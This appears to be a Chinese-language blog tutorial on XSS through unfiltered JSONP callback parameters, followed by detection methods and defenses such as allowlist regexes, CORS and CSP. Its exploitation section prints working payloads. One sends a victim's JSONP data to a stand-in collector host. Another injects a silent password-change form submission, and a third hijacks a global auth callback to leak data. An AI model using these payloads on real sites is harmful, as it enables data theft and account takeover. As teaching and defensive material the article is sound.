Callback参数安全漏洞深度解析:从JSONP机制到XSS攻击实战
1. 项目概述从Callback到XSS的业务安全攻防实战最近在复盘一些企业级渗透测试的案例发现一个挺有意思的现象很多开发团队对传统的SQL注入、XSS跨站脚本这些“经典”漏洞的防护已经做得比较到位了常规的扫描器也很难再扫出什么名堂。但一旦涉及到业务逻辑本身尤其是那些为了“用户体验”而设计的各种交互机制安全防线就变得异常脆弱。其中Callback参数的处理不当就是一个非常典型且高危的盲区。这不仅仅是写个alert(1)弹个窗那么简单它直接关联到用户会话、敏感数据接口甚至可能成为攻击者横向移动的跳板。今天我就结合一个真实的测试场景来深度拆解一下如何通过自定义Callback参数来触发并利用XSS漏洞进而理解业务安全测试的核心思路。简单来说Callback机制常见于JSONPJSON with Padding跨域数据获取或者一些异步接口设计中前端通过一个URL参数通常叫callback、jsonp、cb等告诉后端“请把返回的数据包裹在我指定的这个函数调用里。”这本是为了解决跨域问题的优雅方案但如果后端对传入的Callback函数名没有进行严格的过滤和验证攻击者就可以注入任意JavaScript代码。这导致的XSS往往直接存在于API响应中危害范围从反射型到存储型都有可能且常能绕过一些基于HTML标签过滤的传统WAF规则。无论你是安全工程师、渗透测试人员还是希望提升自己代码安全性的开发者理解这个漏洞的成因、挖掘方法和利用技巧都至关重要。2. 核心原理与攻击面深度解析2.1 JSONP与Callback机制的工作原理解析要打好这场攻防战我们必须先成为“自己人”彻底理解它的工作原理。JSONP是一种非官方的跨域数据交换协议它的诞生源于早期浏览器同源策略SOP对XMLHttpRequest的限制。其核心思路是利用script标签的src属性不受同源策略约束的特性。一个标准的JSONP请求与响应流程是这样的前端发起请求前端动态创建一个script标签其src指向目标API并附带一个查询参数比如callbackhandleResponse。script srchttps://api.example.com/getUserInfo?uid123callbackhandleResponse/script后端处理请求后端接收到请求正常查询用户uid123的信息得到一个JSON对象例如{name: 张三, email: zhangsanexample.com}。后端包装响应后端不是直接返回这个JSON而是根据callback参数的值将JSON数据作为参数包裹在一个函数调用里。最终响应内容变为handleResponse({name: 张三, email: zhangsanexample.com});前端执行响应浏览器加载这个script响应内容作为JavaScript代码立即执行。由于全局作用域中已经定义了handleResponse函数这个函数就会被调用并接收到用户数据从而完成跨域数据获取。安全问题的根源就在于第3步后端如何构造这个handleResponse(...)字符串。如果后端代码简单地进行了字符串拼接比如以PHP为例?php $data json_encode($userData); // 业务数据 $callback $_GET[callback]; // 直接获取用户输入 echo $callback . ( . $data . );; ?那么攻击者传入的callback参数就拥有了完全的控制权。他传入的将不是一个合法的函数名而是一段精心构造的JavaScript代码。2.2 Callback XSS的独特攻击面与危害与传统反射型XSS污染HTML输出或存储型XSS污染数据库相比Callback触发的XSS有其独特的攻击面这也决定了其更高的隐蔽性和危害性响应内容类型Content-Type这类接口的响应Content-Type通常是application/javascript或text/javascript而不是text/html。这会导致以下后果绕过部分客户端检测一些浏览器的XSS审计机制如Chrome的XSS Auditor已废弃或简单的客户端检查可能只对text/html类型的响应敏感。需要特定触发条件漏洞利用必须通过script标签的src引入或者eval、setTimeout等动态执行JS的方式不能简单通过访问链接就在当前页面渲染触发。这增加了漏洞发现的难度但也让漏洞一旦被利用就处在很高的执行上下文中。执行上下文与作用域通过JSONP响应的代码是在全局作用域下执行的。这意味着注入的代码可以直接访问和操作全局对象window。窃取全局变量可能包含应用令牌、用户状态等。重定义全局函数劫持整个应用的其他JSONP回调逻辑。如果该JSONP接口用于获取敏感数据如用户个人资料、交易记录那么注入的代码可以直接窃取这些数据因为数据本身就以参数形式传递给了恶意“函数”。可能升级为存储型XSS如果Callback参数的值被后端保存例如存入用户配置、日志或在某些业务流中与其他用户数据关联后再次输出那么它就可能演变为存储型XSS影响所有访问特定页面的用户。对WAF/过滤规则的挑战传统的WAF规则集可能主要针对script,onerror,srcjavascript:等HTML事件和属性进行过滤。对于纯JS上下文下的代码注入比如直接注入alert(1);如果没有针对JSONP callback参数的特殊规则很容易被绕过。3. 漏洞挖掘与手动测试方法论知道了原理我们该如何在实战中寻找这类漏洞呢盲目测试效率低下需要有清晰的思路和方法。3.1 目标识别与信息收集首先你需要找到可能存在JSONP或类似Callback机制的端点。接口扫描与抓包使用Burp Suite、OWASP ZAP等代理工具拦截所有浏览器与服务器的交互。重点关注请求参数中包含callback,jsonp,cb,function,handler等关键词的GET请求。响应Content-Type为application/javascript,text/javascript,application/x-javascript的请求。响应内容以“函数调用(”开头以“);”结尾的请求。例如看到类似jQuery123456789_123456789({...})的响应这就是一个强烈的信号。前端代码审计直接查看前端JavaScript文件搜索$.ajax,$.getJSON(jQuery)或者原生fetch、XMLHttpRequest的调用看其dataType是否设置为jsonp或者URL中是否动态添加了callback参数。目录与参数爆破对于已知的API域名或路径可以使用字典对参数名进行爆破字典应包含各种Callback参数的可能变体。3.2 手动探测与POC构造发现可疑端点后进入手动探测阶段。我们的目标是确认后端是否对callback参数值进行了不安全的拼接。第一步基础探测将callback参数的值替换为一个简单的测试载荷观察响应。原始请求GET /api/userInfo?uid123callbackmyCallback修改请求GET /api/userInfo?uid123callbacktest123预期响应如果后端直接拼接响应应为test123({...});。这初步证明参数可控。第二步验证代码执行尝试注入能产生“副作用”的JavaScript代码最简单的就是弹窗。修改请求GET /api/userInfo?uid123callbackalert(1)//注意这里使用了//来注释掉后面原本的)和;防止语法错误。如果后端响应变为alert(1)//({...});当被script标签加载时浏览器会执行alert(1)然后//后面的内容被注释掉。如果弹窗出现漏洞即被确认。重要技巧使用//注释是JSONP XSS测试的经典手法。另一个方法是闭合函数调用例如callbackalert(1);但这样可能会因为多出的;导致原始业务数据成为孤立的表达式有时会报错。//通常更可靠。第三步绕过可能的简单过滤如果alert(1)//被过滤或转义了需要尝试绕过。大小写混淆Alert(1)//,ALERT(1)//使用字符串拼接eval(alert(1))//利用JavaScript URI在HTML中更常见此处有时也有效javascript:alert(1)//(注意在纯JS上下文中javascript:协议可能不适用但可尝试)使用其他函数confirm(1)//,prompt(1)//编码绕过尝试URL编码、HTML实体编码但需考虑后端解码顺序。例如alert的URL编码%61%6c%65%72%74。检查长度限制有些接口可能对callback参数长度有限制尝试超长字符串看是否被截断截断点是否可能构造有效语法。3.3 利用场景与高级利用构造确认漏洞存在后下一步是思考如何利用。一个弹窗只是证明真正的危害在于数据窃取和后续攻击。场景一窃取JSONP返回的敏感数据这是最直接的利用方式。攻击者构造一个恶意页面诱骗已登录用户访问。!-- 恶意页面位于 attacker.com -- script function stealData(data) { // 这个函数本应是正常回调函数现在被攻击者控制 var stolen JSON.stringify(data); // 将窃取的数据发送到攻击者控制的服务器 new Image().src https://attacker-collector.com/steal?data encodeURIComponent(stolen); } /script !-- 利用漏洞让目标网站的API将数据回调到我们的stealData函数 -- script srchttps://victim.com/api/userInfo?uidMEcallbackstealData/script如果受害者浏览器已经登录了victim.com访问此恶意页面时就会自动执行脚本将userInfo接口返回的当前登录用户的敏感数据发送到攻击者的服务器。场景二会话劫持与CSRF组合攻击如果目标网站会话管理存在缺陷如Cookie未设置HttpOnly通过XSS可以窃取Cookie。但更常见的是利用Callback XSS发起CSRF请求因为请求是代表用户发起的且自动携带认证信息。// callback参数注入的代码 (function(){ // 静默创建一个表单提交修改密码请求 var f document.createElement(form); f.action https://victim.com/changePassword; f.method POST; var i document.createElement(input); i.name newPassword; i.value Hacked123; f.appendChild(i); document.body.appendChild(f); f.submit(); })//这段代码作为callback参数注入会在JSONP响应中执行悄无声息地修改用户密码。场景三前端逻辑劫持如果网站前端严重依赖全局回调函数攻击者可以重写这些函数。// 假设网站原有一个全局函数 globalApp.handleAuth // 攻击者注入的callback代码 if (window.globalApp) { var originalHandleAuth globalApp.handleAuth; globalApp.handleAuth function(data) { // 先窃取数据 sendToAttacker(data); // 再调用原始函数避免业务异常引起用户怀疑 return originalHandleAuth(data); }; } //这样所有通过此JSONP接口或其他调用globalApp.handleAuth的地方数据都会先被窃取。实操心得在实际测试中我经常发现开发人员只对callback参数做了“白名单”或“格式检查”比如只允许字母数字组合。但他们会忽略另一个点多个Callback参数。有些框架或历史代码支持callback和jsonp等多个参数可能只检查了其中一个。尝试同时使用callbackvalidNamejsonpalert(1)//有时会有意外收获。4. 防御方案设计与安全开发实践作为防守方如何从根本上杜绝此类漏洞这里提供从紧急修复到架构优化的多层次方案。4.1 输入验证与输出编码治标兼治本这是最直接的一层防御必须在服务端进行。严格的函数名白名单验证理想情况预定义一个安全的回调函数名列表只允许用户从列表中选择。但这在JSONP场景下不现实因为前端需要动态指定函数名。务实方案对传入的callback参数进行严格的格式校验。只允许包含字母、数字、下划线和美元符号[a-zA-Z0-9_$]并且限制长度如最多64个字符。使用正则表达式进行匹配。// PHP 示例 $callback $_GET[callback]; if (!preg_match(/^[a-zA-Z_$][a-zA-Z0-9_$]{0,63}$/, $callback)) { // 立即拒绝请求返回一个安全的默认回调或错误 $callback defaultCallback; // 或者直接返回400错误 header(HTTP/1.1 400 Bad Request); exit(Invalid callback parameter.); }强制输出编码在将callback参数值拼接到响应体之前对其进行严格的JavaScript字符串编码。确保任何非白名单字符如括号、分号、引号、斜杠都被转义使其失去代码执行能力仅仅成为一个标识符字符串的一部分。例如将alert(1)//转义为alert\28\29\2f\2f或类似的格式使其在拼接后变成alert\28\29\2f\2f({...});这只是一个无法被解析的函数名不会执行。许多Web框架的JSONP库已经内置了这种过滤切勿自己手动拼接字符串。4.2 弃用JSONP拥抱现代跨域方案根本解决从长远和根本上看最好的防御是弃用JSONP。JSONP是一个“Hack”性质的解决方案天生存在安全风险。现代浏览器已经完全支持更安全、更强大的跨域技术CORS跨源资源共享这是W3C标准。服务端通过设置Access-Control-Allow-Origin等HTTP响应头来明确告诉浏览器哪些外部源可以访问本资源。结合Access-Control-Allow-Credentials可以安全地携带Cookie等凭证。CORS允许使用更安全的POST等HTTP方法并且服务器有完全的控制权。代理服务器在同源策略下让自家的后端服务器充当“中间人”去请求第三方API再将结果返回给前端。这样对于前端来说所有请求都是同源的彻底绕开了跨域问题。这是最安全、控制力最强的方案尤其适用于内部系统或需要聚合多个API的场景。4.3 安全开发流程与配置加固框架与库的安全使用如果必须使用JSONP请使用成熟、经过安全审计的库如jQuery的$.ajax并设置dataType: jsonp并确保使用的是最新版本因为这些库通常内置了基础的callback参数过滤。仔细阅读框架文档中关于JSONP安全的部分不要使用已被标记为不安全的配置或方法。内容安全策略CSP部署严格的CSP可以极大缓解XSS的影响。通过设置script-src指令可以限制页面只能加载来自特定源的脚本。例如script-src self只允许加载同源脚本。这可以阻止攻击者通过注入恶意callback参数来引入外部脚本如script src//evil.com/xss.js。但是要注意CSP对于内联脚本通过JSONP注入的代码本身就是内联脚本的一部分的防护需要配置unsafe-inline而一旦允许这个防护效果就大打折扣。因此CSP是重要的补充防御但不能完全依赖它来阻止Callback XSS。设置正确的Content-Type确保JSONP接口的响应头包含Content-Type: application/javascript。这虽然不能阻止漏洞但可以确保浏览器以正确的JS解析器来处理响应避免与HTML解析混淆同时也能让一些安全工具更准确地识别风险。5. 企业级业务安全测试流程融入对于安全团队而言不能只依赖工具扫描必须将此类逻辑漏洞的测试融入SDL安全开发生命周期。5.1 代码审计阶段在代码审计白盒测试中安全工程师或开发人员自身应重点审查字符串拼接点全局搜索代码中、.连接符、eval、new Function、setTimeout(string)等与callback参数相关的地方。第三方库调用检查项目中引用的JSONP库或工具函数确认其版本和配置。参数处理函数找到处理请求参数的统一入口函数检查其过滤逻辑。5.2 黑盒与灰盒测试阶段在渗透测试黑盒/灰盒中除了前述的手动测试方法还应制作专项测试用例将Callback参数测试用例如alert(1)//,confirm各种编码变形集成到自动化测试平台或手动测试用例库中。接口模糊测试Fuzzing使用Burp Intruder等工具对识别出的所有含callback参数的接口用庞大的畸形和恶意payload字典进行暴力测试观察响应差异和错误信息。业务流跟踪跟踪一个完整的业务流如用户登录 - 查看个人中心分析其中所有的异步数据请求不放过任何一个可能隐藏的callback参数。5.3 监控与应急响应日志监控在应用日志中记录所有JSONP接口的请求特别是callback参数的值。设置告警规则对包含明显恶意特征如alert、eval、script等的callback参数进行实时告警。WAF规则定制在Web应用防火墙上针对/api/*?callback这类路径模式部署专门的防护规则。规则不应只简单过滤关键词而应基于白名单正则如只允许特定字符集进行阻断。应急响应预案一旦发现Callback XSS漏洞被利用除了常规的漏洞修复、重置用户会话、通知用户外还应重点排查日志确认是否有敏感数据通过此接口外泄。业务安全的攻防本质上是深度理解业务逻辑后的一场智斗。Callback自定义测试只是其中一个生动的切片它告诉我们任何为了便利而引入的灵活性都可能成为攻击者眼中的突破口。作为防御者我们必须秉持“默认不信任始终验证”的原则在代码的每一个拼接处设防并积极推动用更安全的现代技术替代陈旧且风险高的方案。每一次成功的漏洞挖掘与修复不仅是技术上的胜利更是对产品稳健性和用户信任的一次加固。在实战中保持好奇心多问一句“如果这个参数我完全控制会发生什么”往往就能发现那些隐藏在繁华功能下的安全暗礁。

相关新闻

跨市场量化实战:使用 QuantDash 快速调取沪深 300 / 标普 500 / 恒生指数作为策略基准

跨市场量化实战:使用 QuantDash 快速调取沪深 300 / 标普 500 / 恒生指数作为策略基准

📌 摘要 / 快速解答 (Direct Answer) 在跨市场量化策略开发与 Alpha 收益归因中,快速且稳定地调取沪深 300 (000300.SH)、标普 500 (SPX.US) 与恒生指数 (HSI.HK) 作为 Benchmark 是核心第一步。传统爬虫或开源库存在 API 限流、时区不统一、港美股接口…

2026/8/16 22:49:23 阅读更多 →
Swift 闭包:从基础语法到实战进阶

Swift 闭包:从基础语法到实战进阶

1. 什么是闭包闭包是 Swift 中一种自包含的函数代码块,它可以捕获并存储其所在上下文中的常量和变量。简单来说,闭包就是可以像普通函数一样被调用、可以赋值给变量、可以作为参数传递的代码块。在 Swift 中,全局函数和嵌套函数本质上也是闭包…

2026/8/16 22:49:22 阅读更多 →
Swift 变量详解:从基础到实战

Swift 变量详解:从基础到实战

1. 引言变量是 Swift 编程中最基础也最重要的概念之一。无论是存储用户输入、计算结果还是管理应用状态,都离不开变量的使用。本文将从变量的声明方式、命名规范、类型推断到实际应用场景,结合丰富的代码实例,帮助你全面掌握 Swift 变量。2. …

2026/8/16 22:49:22 阅读更多 →

最新新闻

戈壁徒步需要准备什么?第一次参加前,这些问题比买装备更重要

戈壁徒步需要准备什么?第一次参加前,这些问题比买装备更重要

第一次准备戈壁徒步,很多人的动作几乎一样:先搜鞋,再看冲锋衣、登山杖、背包,最后列出一张越来越长的装备清单。社交平台上关于“戈壁徒步穿什么”“第一次徒步买什么鞋”的内容也很多,久而久之,很容易让人…

2026/8/16 23:23:47 阅读更多 →
Linux进程前后台切换:从Ctrl+Z到nohup的终端多任务管理实战

Linux进程前后台切换:从Ctrl+Z到nohup的终端多任务管理实战

1. 项目概述:为什么我们需要掌握前台后台切换?如果你在Linux终端里跑过一个需要长时间运行的程序,比如编译一个大型项目、下载一个大文件,或者启动一个Web服务,然后发现终端被“卡住”了,除了干等什么也做不…

2026/8/16 23:23:47 阅读更多 →
Windows守护进程实战:从计划任务到原生服务的三种实现方案

Windows守护进程实战:从计划任务到原生服务的三种实现方案

1. 项目概述:为什么你需要一个Windows守护进程? 在Windows世界里,我们经常遇到一些需要“默默无闻、长期坚守”的任务。比如,你需要一个程序7x24小时不间断地监控某个文件夹,一旦有新文件就自动处理;或者&a…

2026/8/16 23:23:47 阅读更多 →
Ubuntu/Linux命令行核心技能:从基础操作到高效运维实战指南

Ubuntu/Linux命令行核心技能:从基础操作到高效运维实战指南

1. 项目概述:为什么我们需要掌握Ubuntu命令?如果你刚接触Ubuntu,或者从Windows/macOS转过来,面对那个黑漆漆的终端窗口,心里可能会有点发怵。我刚开始用Ubuntu那会儿也是,总觉得用鼠标点点图形界面更踏实。…

2026/8/16 23:23:47 阅读更多 →
网络单向ping不通的五大原因与系统化排查实战指南

网络单向ping不通的五大原因与系统化排查实战指南

1. 问题现象与初步排查思路“单向能ping通”这个现象,在运维和网络排障中堪称一个经典的“幽灵问题”。你从A点ping B点,一切正常,数据包往返顺畅;但当你满怀信心地从B点ping回A点时,屏幕上却只留下一串冰冷的“请求超…

2026/8/16 23:23:47 阅读更多 →
shuohao-skills:把一本小说变成短剧拍片的素材

shuohao-skills:把一本小说变成短剧拍片的素材

丢进一本小说,AI Agent 自动拆角色、排大纲、出场景道具设定图——这个仓库让"写小说"和"拍短剧"之间只差一个 git clone 的距离。 这个项目解决什么问题? 2026 年 8 月,shuohao-skills 在 GitHub 上一周涨到 900 Star。…

2026/8/16 23:22:46 阅读更多 →

日新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者,最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent,从本地部署到云端API,我们正处在一个技术栈快速重构的节点。然而,面对层出不穷的模型、框架和工具&#xf…

2026/8/16 0:00:54 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/16 0:00:55 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/16 0:03:55 阅读更多 →

周新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者,最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent,从本地部署到云端API,我们正处在一个技术栈快速重构的节点。然而,面对层出不穷的模型、框架和工具&#xf…

2026/8/16 0:00:54 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/16 0:00:55 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/16 0:03:55 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/16 6:00:23 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/16 6:00:24 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/16 6:00:27 阅读更多 →